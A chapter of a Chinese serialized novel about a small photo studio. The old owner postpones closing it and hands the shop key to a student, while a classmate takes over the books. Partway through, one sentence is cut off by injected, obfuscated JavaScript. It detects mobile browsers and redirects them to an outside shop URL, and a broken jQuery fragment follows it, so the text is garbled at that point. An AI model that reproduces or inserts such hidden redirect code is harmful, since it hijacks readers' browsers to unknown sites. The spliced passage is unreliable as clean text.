第二天一早,红叶照相馆还没开门,门口已经站了七个人。
两对准备拍结婚照的年轻人,一位来补洗全家福的老太太,还有陶母和陶小满。陶母手里端着一盆刚出锅的包子,说是路过,眼睛却一直往卷帘门上瞟。
梁潮生推车过来时,被这阵势吓了一跳。
“韩叔改行发粮票了?”
陶母瞪他:“少贫。你们不是说今天有事宣布吗?”
“您消息挺快。”
“旧巷里还有我不知道的事?”
梁潮生想了想:“还真没有。”
周念安从巷口走来,怀里抱着账本,肩上落了几粒细小的雪。
今年的第一场雪没什么气势,落到地上就化了。她站在门口轻轻跺了跺鞋,先数了一遍等候的人,又低头看表。
“韩师傅迟到了五分钟。”
梁潮生靠着车把:“老板宣布大事前,总得摆点架子。”
话音刚落,卷帘门从里面哗啦一声升起。
韩师傅站在门后,棉袄扣得严严实实,手里还端着茶缸。
“谁迟到了?”
梁潮生立刻推车进门:“客户都说您准时。”
“我听见了。”
“那是周念安说的。”
周念安没有替他背:“我只说迟到五分钟。”
韩师傅看着两人,哼了一声,让外头的人先进去取照片、定时间。原本说好的宣布大事,就这样被一拨又一拨客人挤到后面。
老太太来取的是上周拍的全家福。
照片里,她坐在藤椅上,怀里抱着那只不肯配合的花猫;儿子伸手抓猫,儿媳笑弯了腰,两个孙子一个张嘴喊,一个闭着眼。没有谁拍得端正,她却戴上老花镜,看了足足十分钟。
“这张好。”她说,“家里就是这样。”
韩师傅给照片套上纸袋:“要不要再补一张坐好的?”
“不补。”老太太把纸袋抱紧,“人哪有总坐好的时候。”
她付完尾款,又预约了春节后的照片。
“我大闺女在外地,过年回来。到时候再拍一张,人能到得更齐。”
韩师傅点头,在预约本上记下日期。
等她走后,韩师傅盯着门口看了一会儿,才低声说:“以前我总让人坐直点。”
梁潮生正在挂相框:“现在想开了?”
“现在发现,坐直了也未必像一家人。”
上午忙到快十一点,店里才稍微空下来。
周念梅把店门半掩,挡住外头灌进来的风;周念秋将红丝巾叠好收回布包;陶小满帮着擦柜台,孟小舟坐在角落替她改练声稿。
梁潮平也来了。
他本来被安排在家写作业,趁母亲去买菜偷偷跑出来,进门就问:“是不是要分店?”
梁潮生抬手敲他脑袋:“先把红叶留住,再想分店。”
韩师傅把茶缸放下。
“都别忙了。”
屋里终于安静。
他从口袋里拿出昨天那把黄铜钥匙,搁在柜台上。
钥匙不新,边缘被磨得发亮,上头拴着一截褪色红绳。
梁潮生看了一眼,没伸手。
韩师傅说:“我儿子昨晚又打电话来了。”
“催您走?”周念秋问。
“嗯。他春节回来接我。”
照相馆里那点刚热起来的气氛顿时沉下去。
梁潮平小声问:“那店还是要关?”
韩师傅瞪他:“我话没说完,你急什么?”
梁潮平缩到哥哥身后。
韩师傅继续道:“我跟他说了,春节不走。”
梁潮生抬起头。
“至少等你们高考结束。”韩师傅看着他和周念安,“这半年,我继续开店,也教你们该学的东西。拍照、洗相、修机器、算成本,一个都不能少。”
陶母最先笑起来:“这不就对了?店里现在天天有人,关了多可惜。”
韩师傅抬手压住她的话。
“只是暂时不关,不是送给他们。”
他说得很清楚。
“房子不是我的,手续也不能交给两个学生。以后能不能接,要看他们有没有本事,也得看家里同不同意。谁要是觉得拿到钥匙就算当老板,趁早别碰。”
梁潮生看着柜台上的钥匙。
“给谁的?”
“你。”
“为什么不是周念安?”
韩师傅没好气:“她每天按时来,你每天翻窗进。钥匙不给你,难道留着让你拆门?”
屋里笑了一片。
周念安也低头笑了。
梁潮生摸摸鼻子,还是没立刻拿。
“什么条件?”
韩师傅这回露出点满意:“还知道问条件。”
他伸出手指,一条条数。
“第一,平时先上课,放学以后才能来。谁为了店逃课,我当天收回钥匙。”
梁潮生说:“您可以直接看我出勤。”
周念安接道:“我记。”
“第二,开门、关门都登记。相机、胶卷、药水,拿什么记什么,不能凭嘴说。”
周念安已经翻开账本。
“第三,客人的底片不能私自给人,照片不能乱挂。录音也一样,人家不愿意公开,谁都不能听热闹。”
梁潮生点头:“这条本来就有。”
“第四,不许赊账。”
周念梅立即说:“我负责。”
几个欠过毛票的人同时觉得后背一凉。
“第五。”韩师傅停了一下,“这半年挣的钱,先留店里。除去材料和该付的工钱,剩下的做设备钱。谁也不许私自拿。”
周念秋问:“我的工钱还算吧?”
“算。”
“那行。”
韩师傅看向梁潮生:“能做到吗?”
梁潮生没有像往常一样先开玩笑。
他站在柜台前,目光落在那把钥匙上。外面细雪轻轻落着,玻璃上结了一层薄雾,橱窗里的照片被灯照得暖融融的。
这里有他修过的第一台录音机。
有周念安写下的第一本账。
有梁家那张谁也没坐好的全家福。
还有一桩又一桩尚未开拍的婚礼,姓名和日期整整齐齐排在预约本上。
他伸手拿起钥匙。
“能。”
黄铜钥匙落进掌心,发出一声轻响。
韩师傅又把一本旧账册推到周念安面前。
“钥匙给他,账给你。”
梁潮生立刻不服:“这是防着我?”
“对。”
韩师傅承认得毫不犹豫。
众人又笑起来。
周念安翻开旧账册。
前几页是韩师傅多年前记的胶卷和相纸,字迹潦草,有的地方只写“老赵欠两毛”“王家多洗一张”,日期也断断续续。
她皱了皱眉。
韩师傅心虚地咳了一声:“旧账不用细查。”
“为什么?”
“年代久远。”
“所以更要查。”
梁潮生低声说:“韩叔,您完了。”
“闭嘴。”
中午,陶母把带来的包子分给所有人。
韩师傅原本不肯吃,说无功不受禄。陶母当场回他:“你把店留下,就是功。”他这才拿了一个,背过身吃得很快。
孟小舟吃完包子,拿出一张报名表。
“市文化馆播音员公开选拔,下周报名。”
陶小满比她还激动:“你真的要去?”
“先试。”
“肯定能考上。”
“少说肯定。”孟小舟把另一份练声稿递给她,“你自己的面试还没准备好。”
陶小满吐了吐舌头,低头练习。
孟长河站在门外,没有进来。
他手里提着一只布袋,里面装着两个暖水瓶塞和一包红糖。孟小舟看见他,出去说了几句话,再回来时,布袋在她手里。
梁潮生朝门外看了一眼:“你爸怎么不进来?”
“他说身上有炉灰,怕弄脏相纸。”
韩师傅听见,直接把门推开。
“照相馆要是连炉灰都怕,还拍什么旧巷?”
孟长河被他硬拉进来,坐在门边,手脚都不知往哪放。
过了会儿,韩师傅顺手给他们父女拍了一张。
孟小舟没有挽父亲的胳膊,孟长河也没笑。两个人只是并排坐着,中间隔着半把椅子的距离。
快门落下前,孟小舟说:“坐近点,拍不下。”
孟长河连忙往旁边挪了一点。
咔嚓。
距离没有完全消失
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17736020|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
但比上一张近了。
下午,学校把周念安的志愿材料正式封存。
她去确认过最后一遍,省城财经学院仍在第一栏,自己的签名清清楚楚。回到红叶照相馆时,梁潮生正蹲在门口给黄铜钥匙重新换绳。
他拆掉那截旧红绳,找了一段结实的黑线,绕了两圈。
周念安在旁边站了一会儿。
“为什么换掉?”
“旧的快断了。”
“可以留着。”
梁潮生动作停住。
他看了一眼那截红绳,没有扔,折好塞进钥匙盒。
“行,留底。”
周念安在他旁边坐下。
雪已经停了,屋檐上往下滴水。巷子里有人扫门前的湿雪,扫帚刮过地面,一下一下,很慢。
梁潮生问:“你的表封了?”
“嗯。”
“省城财经?”
“嗯。”
“真去了,什么时候回来?”
“还没考试。”
“我先问问。”
周念安转头看他:“你呢?”
梁潮生低头摆弄钥匙。
“什么?”
“高考以后。”
他以前总说以后再说。
成绩不好,可以不考;父亲让进厂,也不一定进;照相馆能开多久,跟他没关系。他像是永远站在路边看别人赶车,自己去哪儿都无所谓。
可现在钥匙在他手里。
再说无所谓,就有些假了。
“我想把店接下来。”他说。
周念安没有立刻接话。
梁潮生抬起头:“你觉得不行?”
“我觉得不能只靠想。”
“所以这半年学。”
“也不能因为店在旧巷,就认定自己只能留在旧巷。”
梁潮生看着她。
周念安说:“韩师傅让你学,是让你以后有选择。修机器、拍照、做录音,都不只在这家店里能用。”
“你怕我为了店不考试?”
“嗯。”
“也怕我以后怪你去了省城?”
她沉默了一下,没有否认。
梁潮生靠在台阶边,笑意很淡。
“周念安,我留下也不一定是因为走不了。”
她看向他。
“以前我不想考,是觉得考了也没意思。现在不一样。”他说,“我得看得懂机器说明,会算进货账,知道外头出了什么新东西。要不然店真给我,我也守不住。”
他把钥匙抛起来,又稳稳接住。
“我先考。考成什么样,再说。”
这已经是梁潮生第一次把“以后”说得这么清楚。
不漂亮,也没有一句保证。
可周念安听懂了。
“那我给你补数学。”
梁潮生的表情立刻变了:“能不能先从语文开始?”
“你数学更差。”
“语文有感情基础。”
“你的作文题目叫《我与裤衩子同行》。”
梁潮生噎了半天,最后笑得肩膀直抖。
“你怎么还记着?”
“重要材料,不能丢。”
店里,韩师傅喊他们进去试新到的胶卷。陶母的录音又从北门传来,喊着包子热的、实的、刚出锅。孟小舟在纠正陶小满的气息,周念秋正给一位来拍结婚照的姑娘挑红丝巾,周念梅则堵在门口,向熟人追那两毛钱尾款。
红叶照相馆比任何一天都吵。
梁潮生站起身,把黄铜钥匙串在腰间。
“周厂长。”
“嗯?”
“开工了。”
周念安抱起账本,跟着他进门。
门铃轻轻一响。
橱窗里的照片一张挨着一张:抱着西瓜的孩子,没坐好的梁家四口,骑车出嫁的新娘,站在话筒前的陶小满,还有那张谁都没有看镜头的照相馆合影。
第一场雪落过旧巷。
红叶暂时没有关门。
周念安的名字已经写进她自己选择的志愿里,梁潮生的腰间也第一次多了一把需要负责的钥匙。
至于他们以后会去哪里,谁也还说不准。
但至少从这一天起,他们不再只等着别人替自己安排。
他们开始自己开门。